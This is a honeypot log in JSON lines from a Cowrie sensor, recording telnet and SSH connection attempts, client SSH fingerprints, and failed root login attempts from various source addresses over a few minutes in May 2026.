{"eventid":"cowrie.session.closed","duration":120.00257301330566,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:48:50.100347Z","src_ip":"152.42.224.71","session":"2d150aa808be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00251126289368,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:19.925176Z","src_ip":"152.42.224.71","session":"fb46b7340b29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42962,"dst_ip":"10.17.0.5","dst_port":23,"session":"04881b1dc8d3","protocol":"telnet","message":"New connection: 152.42.224.71:42962 (10.17.0.5:23) [session: 04881b1dc8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:21.657903Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53664,"dst_ip":"10.17.0.5","dst_port":23,"session":"c569843b804b","protocol":"telnet","message":"New connection: 152.42.224.71:53664 (10.17.0.5:23) [session: c569843b804b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:29.754682Z"}
{"eventid":"cowrie.session.closed","duration":56.33338785171509,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:45.406040Z","src_ip":"152.42.224.71","session":"d3058bec98b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.61","src_port":39696,"dst_ip":"10.17.0.5","dst_port":22,"session":"d02861067d05","protocol":"ssh","message":"New connection: 208.87.243.61:39696 (10.17.0.5:22) [session: d02861067d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:47.264710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:47.270076Z","src_ip":"208.87.243.61","session":"d02861067d05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:47.346384Z","src_ip":"208.87.243.61","session":"d02861067d05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:e0:a5:23:c8:30:66:4c:9e:ad:9d:a4:de:ee:08:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg1o3wiPFTpzzWUDHAiO/ljLflf9yGqyIyvP2rQwW8aqaWCfQhEMlfebAi1XCrvNaDYKQa95IBvYVY48wih2jXmlfujDv2q8z0vLJlePECIaa4WqifyVRB1rxmUXIFKGt5xgWVa+YNSKZg+QZoDg3iygaVQnoc1NYt5pYVJHl+mvny0PwkZH76xNic8s82Lgs/ejNSbwBoppmaeMJHupwxFv+OlbkxqoCsXZDZ1+WQH0NzZf8JYwfQi94c7DgU9j/JcYo7iibPG1d5D5DX41kW7vZq9J6iFktfkePC2tZppjmY0y5BQM3XMhcAJepPYyIhSgWCetMxGqJJhNdFefML","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:e0:a5:23:c8:30:66:4c:9e:ad:9d:a4:de:ee:08:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:47.699737Z","src_ip":"208.87.243.61","session":"d02861067d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:e0:a5:23:c8:30:66:4c:9e:ad:9d:a4:de:ee:08:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg1o3wiPFTpzzWUDHAiO/ljLflf9yGqyIyvP2rQwW8aqaWCfQhEMlfebAi1XCrvNaDYKQa95IBvYVY48wih2jXmlfujDv2q8z0vLJlePECIaa4WqifyVRB1rxmUXIFKGt5xgWVa+YNSKZg+QZoDg3iygaVQnoc1NYt5pYVJHl+mvny0PwkZH76xNic8s82Lgs/ejNSbwBoppmaeMJHupwxFv+OlbkxqoCsXZDZ1+WQH0NzZf8JYwfQi94c7DgU9j/JcYo7iibPG1d5D5DX41kW7vZq9J6iFktfkePC2tZppjmY0y5BQM3XMhcAJepPYyIhSgWCetMxGqJJhNdFefML","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:47.703946Z","src_ip":"208.87.243.61","session":"d02861067d05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:a2:4f:f5:fc:4d:12:87:dd:82:73:a4:c7:1e:ff:0c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIAFKnFE60ljHDLTPVMRo5ITQrPJ9Gfu1PPE+6y8hcDeVjbwjvFTR3UnVLEVHSykvsgWaTHumxgtyxryZBQE7XmruQ54YN/+bEItdIN++Vwa7eyrcsHE6gIi3DvKC3VVrA/5xAdEXHYIu+iFnm9eRUY4xYg8CVEJQ7mXZ1DcRUqVAAAAFQD6PHFz1OqBZuDRg0MeMBQBhHQgOwAAAIB2tx96ljW7+l6VBnos/YReDpCVhjp3GUxTDTz8s198g+3By0CLTYtc/ZWzHU57T+sDFNS5vTua7L9wyCsAlO43bLnG2m7IGDTADvWdEFC8Z3k9v+phLYNErfwtZqucFGHWbXJVG5iyWMOTB3KVkS0tEny0Of3cBTBlNWxSTlsvBQAAAIBZgclcQkHWMQ/MI8cCuffAAstxa0AssNqKmUTD/4k8voKjpfvHaIrf0UfWG/BE+JYVfomTDyNc7l/Cu/qqfaFCPgpFKNAzvozXyrjByazRMZkf382fydMjudBuZWDcj8IQQLs5CckWaTOUQtfuYt5L/3dKKg+uGI5LkrQ+kTdBHA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 4d:a2:4f:f5:fc:4d:12:87:dd:82:73:a4:c7:1e:ff:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:47.780753Z","src_ip":"208.87.243.61","session":"d02861067d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:a2:4f:f5:fc:4d:12:87:dd:82:73:a4:c7:1e:ff:0c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIAFKnFE60ljHDLTPVMRo5ITQrPJ9Gfu1PPE+6y8hcDeVjbwjvFTR3UnVLEVHSykvsgWaTHumxgtyxryZBQE7XmruQ54YN/+bEItdIN++Vwa7eyrcsHE6gIi3DvKC3VVrA/5xAdEXHYIu+iFnm9eRUY4xYg8CVEJQ7mXZ1DcRUqVAAAAFQD6PHFz1OqBZuDRg0MeMBQBhHQgOwAAAIB2tx96ljW7+l6VBnos/YReDpCVhjp3GUxTDTz8s198g+3By0CLTYtc/ZWzHU57T+sDFNS5vTua7L9wyCsAlO43bLnG2m7IGDTADvWdEFC8Z3k9v+phLYNErfwtZqucFGHWbXJVG5iyWMOTB3KVkS0tEny0Of3cBTBlNWxSTlsvBQAAAIBZgclcQkHWMQ/MI8cCuffAAstxa0AssNqKmUTD/4k8voKjpfvHaIrf0UfWG/BE+JYVfomTDyNc7l/Cu/qqfaFCPgpFKNAzvozXyrjByazRMZkf382fydMjudBuZWDcj8IQQLs5CckWaTOUQtfuYt5L/3dKKg+uGI5LkrQ+kTdBHA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:47.788400Z","src_ip":"208.87.243.61","session":"d02861067d05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:c3:2f:71:78:b5:1c:79:65:2f:da:ef:8e:b6:83:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTvv0MikjBsmojX6hnsj83XWk9wx18TGjefwjDw61opVs/R+TlrYU4oexY0UPWoUBfKz34xLersrwRRINZLMdkW2LmJq+SawEYqGntCBfpj3qFhUQEcaYV7uEx7YihoRdEyK2M3rfDe40lxBrIozedLIESJs0P/lsOs3RXCjG5PiTqPSP6OlJauyZZxXy3EJixD58F1vZMY+n5DgbuqGySNzhwTP61T++00V7S6R7dQNV0hydDJL29PYU16lcd76EZrQyw93Brg7syuM9kZk5W7ljdemNs/PBf9Re8+6iukbR2hwUjuvLJfd2cuAHZ0gl4efKQ8MMBjLg7ORVpGOpfyapuo3LGcb8INcqwlwoMy7eBcYVUhOIH4t1toYPKa6w4fgt7WudNS4MLJazu8UQWW9tf34PveGKTwZEQO/mu44iP8ZMk46qCjAgCHSC2Wcaxfa3BrIdEghmOy69IzavQMZvAsU8ANoi6pRdvKfSDJXSM7l3friT5NToxo0VT+MSEK9gAqPnKKycwHWE9dNs+O+EKFlHH+SYnydDuX2MgahhgSno0JNOSnasIxaH5sfHS/qcXDvp2GLc+P7I5kYmiAGNEr0f78MLOv6QH2nUI9vO2rQI1ckVmJkzuu8INz+osChagtmB+67dDS3kZcxmPePKd3PXlsjRwnXz2XC+70w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:c3:2f:71:78:b5:1c:79:65:2f:da:ef:8e:b6:83:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:47.865242Z","src_ip":"208.87.243.61","session":"d02861067d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:c3:2f:71:78:b5:1c:79:65:2f:da:ef:8e:b6:83:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTvv0MikjBsmojX6hnsj83XWk9wx18TGjefwjDw61opVs/R+TlrYU4oexY0UPWoUBfKz34xLersrwRRINZLMdkW2LmJq+SawEYqGntCBfpj3qFhUQEcaYV7uEx7YihoRdEyK2M3rfDe40lxBrIozedLIESJs0P/lsOs3RXCjG5PiTqPSP6OlJauyZZxXy3EJixD58F1vZMY+n5DgbuqGySNzhwTP61T++00V7S6R7dQNV0hydDJL29PYU16lcd76EZrQyw93Brg7syuM9kZk5W7ljdemNs/PBf9Re8+6iukbR2hwUjuvLJfd2cuAHZ0gl4efKQ8MMBjLg7ORVpGOpfyapuo3LGcb8INcqwlwoMy7eBcYVUhOIH4t1toYPKa6w4fgt7WudNS4MLJazu8UQWW9tf34PveGKTwZEQO/mu44iP8ZMk46qCjAgCHSC2Wcaxfa3BrIdEghmOy69IzavQMZvAsU8ANoi6pRdvKfSDJXSM7l3friT5NToxo0VT+MSEK9gAqPnKKycwHWE9dNs+O+EKFlHH+SYnydDuX2MgahhgSno0JNOSnasIxaH5sfHS/qcXDvp2GLc+P7I5kYmiAGNEr0f78MLOv6QH2nUI9vO2rQI1ckVmJkzuu8INz+osChagtmB+67dDS3kZcxmPePKd3PXlsjRwnXz2XC+70w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:47.869447Z","src_ip":"208.87.243.61","session":"d02861067d05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:1e:e2:93:3b:56:f9:64:48:03:84:e9:77:56:bd:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlnu30e2bLAiT/6uAWCM47R+uaWhYkuwyjazYO/xxn/VTrkzviMOKExyXIV50AcEsMSIQ+K+rRxRQZFrCLu35vy8mQy5eSN4oVm1Sn5yPPbc2N9uTcnLxRcfnRkD7pb19CJXdUsP6ZMSMrj/uWnQQG2xxA+WR36g90kCKOo84xN7YAgW77zAwgfu+5uw14VlRBXHUMG5x/7vbx0NVGKcc97/655HXIyfmmNegq475pjWdmIfU2t4Q/QuOO95/JXSYpxSJFtMnyrjGORgqkOePRJ3JCQkOkfuKFuShQg6xB/+KvykkZxFi6RaoUOlgREBhJVYWV998fY6VuWhkXNy6vQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:1e:e2:93:3b:56:f9:64:48:03:84:e9:77:56:bd:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:47.945899Z","src_ip":"208.87.243.61","session":"d02861067d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:1e:e2:93:3b:56:f9:64:48:03:84:e9:77:56:bd:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlnu30e2bLAiT/6uAWCM47R+uaWhYkuwyjazYO/xxn/VTrkzviMOKExyXIV50AcEsMSIQ+K+rRxRQZFrCLu35vy8mQy5eSN4oVm1Sn5yPPbc2N9uTcnLxRcfnRkD7pb19CJXdUsP6ZMSMrj/uWnQQG2xxA+WR36g90kCKOo84xN7YAgW77zAwgfu+5uw14VlRBXHUMG5x/7vbx0NVGKcc97/655HXIyfmmNegq475pjWdmIfU2t4Q/QuOO95/JXSYpxSJFtMnyrjGORgqkOePRJ3JCQkOkfuKFuShQg6xB/+KvykkZxFi6RaoUOlgREBhJVYWV998fY6VuWhkXNy6vQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:47.950503Z","src_ip":"208.87.243.61","session":"d02861067d05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:d9:7e:48:19:0b:b3:20:d0:66:f2:a0:2c:be:80:8e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANErMcLYRy77TG8n8fWLWJUpAsAOhdpxvjw3yC6rLCMCEZNE2kZNr4KNeTsTO/X6Quh/Lz5GgH0XMGE6aot7ghrvTMKs3nV645BZZg8DfsE3Ola6BfdsMsKAJtYAuytT9KoGGdAIDl9XQeQEf3mWHYG+skfZPFz0E4Earsq1DUrhAAAAFQDBCpame0+w0XAsF1kbh9whS4+nlQAAAIBbKyZogiC8s63dttzMC5cG8f0M5EMC3DqHfSnDInGd7dXA3L5nimczXIeTrtqiVG5FIhdy8lf5L7kOqcns0WnNAz0BSO0irJlywx+DXeYPWKYnrTpeS4O5yKF6vsXMQZBl6slvqKqxeSHQKyLt80xd1PtIEBrNaYqmAql+ylm/hQAAAIAOVHMCO89DgL94Td5PwIvubVzv7Iy7jaCXADCtkg1hkvQj3i6Qctz1utZi/jb2QNeKTbBvbpid0dZkACVZqVKBnB4FCIIiWg15Dj7xkrUgdQkJ9vzU1ru3Svn1QsZFX64mg1fASJOvJCj7zbEYaktHKpbXda/h0ndxDnNP2XzDSQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 8c:d9:7e:48:19:0b:b3:20:d0:66:f2:a0:2c:be:80:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:48.027454Z","src_ip":"208.87.243.61","session":"d02861067d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:d9:7e:48:19:0b:b3:20:d0:66:f2:a0:2c:be:80:8e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANErMcLYRy77TG8n8fWLWJUpAsAOhdpxvjw3yC6rLCMCEZNE2kZNr4KNeTsTO/X6Quh/Lz5GgH0XMGE6aot7ghrvTMKs3nV645BZZg8DfsE3Ola6BfdsMsKAJtYAuytT9KoGGdAIDl9XQeQEf3mWHYG+skfZPFz0E4Earsq1DUrhAAAAFQDBCpame0+w0XAsF1kbh9whS4+nlQAAAIBbKyZogiC8s63dttzMC5cG8f0M5EMC3DqHfSnDInGd7dXA3L5nimczXIeTrtqiVG5FIhdy8lf5L7kOqcns0WnNAz0BSO0irJlywx+DXeYPWKYnrTpeS4O5yKF6vsXMQZBl6slvqKqxeSHQKyLt80xd1PtIEBrNaYqmAql+ylm/hQAAAIAOVHMCO89DgL94Td5PwIvubVzv7Iy7jaCXADCtkg1hkvQj3i6Qctz1utZi/jb2QNeKTbBvbpid0dZkACVZqVKBnB4FCIIiWg15Dj7xkrUgdQkJ9vzU1ru3Svn1QsZFX64mg1fASJOvJCj7zbEYaktHKpbXda/h0ndxDnNP2XzDSQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:48.030702Z","src_ip":"208.87.243.61","session":"d02861067d05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:48.106176Z","src_ip":"208.87.243.61","session":"d02861067d05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.816800594329834,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:53.571332Z","src_ip":"152.42.224.71","session":"c569843b804b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.753254413604736,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:49:59.411009Z","src_ip":"152.42.224.71","session":"04881b1dc8d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":39028,"dst_ip":"10.17.0.5","dst_port":22,"session":"267f96d565a6","protocol":"ssh","message":"New connection: 103.173.227.57:39028 (10.17.0.5:22) [session: 267f96d565a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:05.192137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:05.204619Z","src_ip":"103.173.227.57","session":"267f96d565a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:05.446558Z","src_ip":"103.173.227.57","session":"267f96d565a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aleksand","message":"login attempt [root/aleksand] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:06.183016Z","src_ip":"103.173.227.57","session":"267f96d565a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:07.432084Z","src_ip":"103.173.227.57","session":"267f96d565a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":44074,"dst_ip":"159.203.135.109","dst_port":22,"session":"202fc1816e1b","protocol":"ssh","message":"New connection: 103.98.149.87:44074 (159.203.135.109:22) [session: 202fc1816e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:10.143846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:10.163439Z","src_ip":"103.98.149.87","session":"202fc1816e1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:10.390627Z","src_ip":"103.98.149.87","session":"202fc1816e1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfreyjdf","message":"login attempt [root/cfreyjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:11.313816Z","src_ip":"103.98.149.87","session":"202fc1816e1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:12.544269Z","src_ip":"103.98.149.87","session":"202fc1816e1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51348,"dst_ip":"10.17.0.5","dst_port":23,"session":"e726188c8aa9","protocol":"telnet","message":"New connection: 152.42.224.71:51348 (10.17.0.5:23) [session: e726188c8aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:16.667232Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.186.119.116","src_port":56125,"dst_ip":"10.17.0.5","dst_port":23,"session":"105d24cb6c26","protocol":"telnet","message":"New connection: 37.186.119.116:56125 (10.17.0.5:23) [session: 105d24cb6c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:30.022178Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36824,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff086646b265","protocol":"telnet","message":"New connection: 152.42.224.71:36824 (10.17.0.5:23) [session: ff086646b265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:48.573270Z"}
{"eventid":"cowrie.session.closed","duration":33.389410972595215,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:50:50.056520Z","src_ip":"152.42.224.71","session":"e726188c8aa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71938419342041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:00.741468Z","src_ip":"37.186.119.116","session":"105d24cb6c26","protocol":"telnet"}
